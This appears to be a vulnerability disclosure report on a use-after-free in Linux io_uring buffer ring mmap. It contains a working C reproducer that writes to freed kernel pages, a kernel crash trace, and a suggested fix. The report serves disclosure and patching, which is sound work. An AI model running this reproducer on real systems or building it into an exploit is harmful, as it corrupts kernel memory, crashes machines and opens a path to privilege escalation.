Linux >=6.4: io_uring: page UAF via buffer ring mmap Since commit c56e022c0a27 (\"io_uring: add support for user mapped provided buffer ring\"), landed in Linux 6.4, io_uring makes it possible to allocate, mmap, and deallocate \"buffer rings\". A \"buffer ring\" can be allocated with io_uring_register(..., IORING_REGISTER_PBUF_RING, ...) and later deallocated with io_uring_register(..., IORING_UNREGISTER_PBUF_RING, ...). It can be mapped into userspace using mmap() with offset IORING_OFF_PBUF_RING|..., which creates a VM_PFNMAP mapping, meaning the MM subsystem will treat the mapping as a set of opaque page frame numbers not associated with any corresponding pages; this implies that the calling code is responsible for ensuring that the mapped memory can not be freed before the userspace mapping is removed. However, there is no mechanism to ensure this in io_uring: It is possible to just register a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then free the buffer ring's pages with IORING_UNREGISTER_PBUF_RING, leaving free pages mapped into userspace, which is a fairly easily exploitable situation. reproducer: ============================================================== #define _GNU_SOURCE #include <unistd.h> #include <err.h> #include <string.h> #include <stdio.h> #include <ctype.h> #include <sys/syscall.h> #include <sys/mman.h> #include <linux/io_uring.h> #define SYSCHK(x) ({ \\ typeof(x) __res = (x); \\ if (__res == (typeof(x))-1) \\ err(1, \"SYSCHK(\" #x \")\"); \\ __res; \\ }) int main(void) { struct io_uring_params params = { .flags = IORING_SETUP_NO_SQARRAY }; int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params)); printf(\"uring_fd = %d\ \", uring_fd); struct io_uring_buf_reg reg = { .ring_entries = 1, .bgid = 0, .flags = IOU_PBUF_RING_MMAP }; SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, &reg, 1)); void *pbuf_mapping = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_PBUF_RING)); printf(\"pbuf mapped at %p\ \", pbuf_mapping); struct io_uring_buf_reg unreg = { .bgid = 0 }; SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, &unreg, 1)); while (1) { memset(pbuf_mapping, 0xaa, 0x1000); usleep(100000); } } ============================================================== When run on a system with the debug options: CONFIG_PAGE_TABLE_CHECK=y CONFIG_PAGE_TABLE_CHECK_ENFORCED=y , this will splat with the following error, when __page_table_check_zero() detects that a page that's being freed is still mapped into userspace: ============================================================== ------------[ cut here ]------------ kernel BUG at mm/page_table_check.c:146! invalid opcode: 0000 [#1] PREEMPT SMP KASAN CPU: 1 PID: 554 Comm: uring-mmap-pbuf Not tainted 6.7.0-rc3 #360 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 RIP: 0010:__page_table_check_zero+0x136/0x150 Code: a8 40 0f 84 1f ff ff ff 48 8d 7b 48 e8 93 8a fd ff 48 8b 6b 48 40 f6 c5 01 0f 84 08 ff ff ff 48 83 ed 01 e9 02 ff ff ff 0f 0b <0f> 0b 0f 0b 0f 0b 5b 48 89 ef 5d 41 5c 41 5d 41 5e e9 f4 ea ff ff RSP: 0018:ffff888029aa7c70 EFLAGS: 00010202 RAX: 0000000000000001 RBX: ffff8880011789f0 RCX: dffffc0000000000 RDX: 0000000000000007 RSI: ffffffff83ca598e RDI: ffff8880011789f4 RBP: ffff8880011789f0 R08: 0000000000000000 R09: ffffed100022f13e R10: ffff8880011789f7 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880011789f4 R14: 0000000000000001 R15: 0000000000000000 FS: 00007f745f01a500(0000) GS:ffff88806d280000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00005610bbfb8008 CR3: 0000000016ac3004 CR4: 0000000000770ef0 PKRU: 55555554 Call Trace: <TASK> [...] free_unref_page_prepare+0x282/0x450 free_unref_page+0x45/0x170 __io_remove_buffers.part.0+0x38c/0x3c0 io_unregister_pbuf_ring+0x146/0x1e0 [...] __do_sys_io_uring_register+0xa03/0x11c0 [...] do_syscall_64+0x43/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76 RIP: 0033:0x7f745ef4bf59 Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 07 6f 0c 00 f7 d8 64 89 01 48 RSP: 002b:00007ffe29cbac98 EFLAGS: 00000202 ORIG_RAX: 00000000000001ab RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f745ef4bf59 RDX: 00007ffe29cbaca0 RSI: 0000000000000017 RDI: 0000000000000003 RBP: 00007ffe29cbadb0 R08: 00007ffe29cbab6c R09: 0000000000000000 R10: 0000000000000001 R11: 0000000000000202 R12: 00005610bbb700d0 R13: 00007ffe29cbae90 R14: 0000000000000000 R15: 0000000000000000 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- ============================================================== When run on a system without those options, this reproducer will randomly corrupt memory and probably on most runs crash the machine. I tried it once and after I tried using some other programs, I got some random kernel #GP fault. One way to fix this might be to add some mapping counter to `struct io_buffer_list`, and then: - increment that counter in io_uring_validate_mmap_request() for PBUF_RING mappings - increment that counter in the vm_area_operations ->open() handler - decrement that counter in the vm_area_operations ->close() handler - refuse IORING_UNREGISTER_PBUF_RING if the counter is non-zero? Or alternatively free the io_buffer_list when the counter drops to zero, and let the counter start at 1. (I'm not sure what the lifetime rules for other accesses to the io_buffer_list's memory are - it looks like most paths only access the io_buffer_list under some lock? Is the idea that the kernel actually accesses the buffer through userspace pointers, or something like that? I'll have to stare at this some more before I understand it...) This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-02-26. Found by: jannh@google.com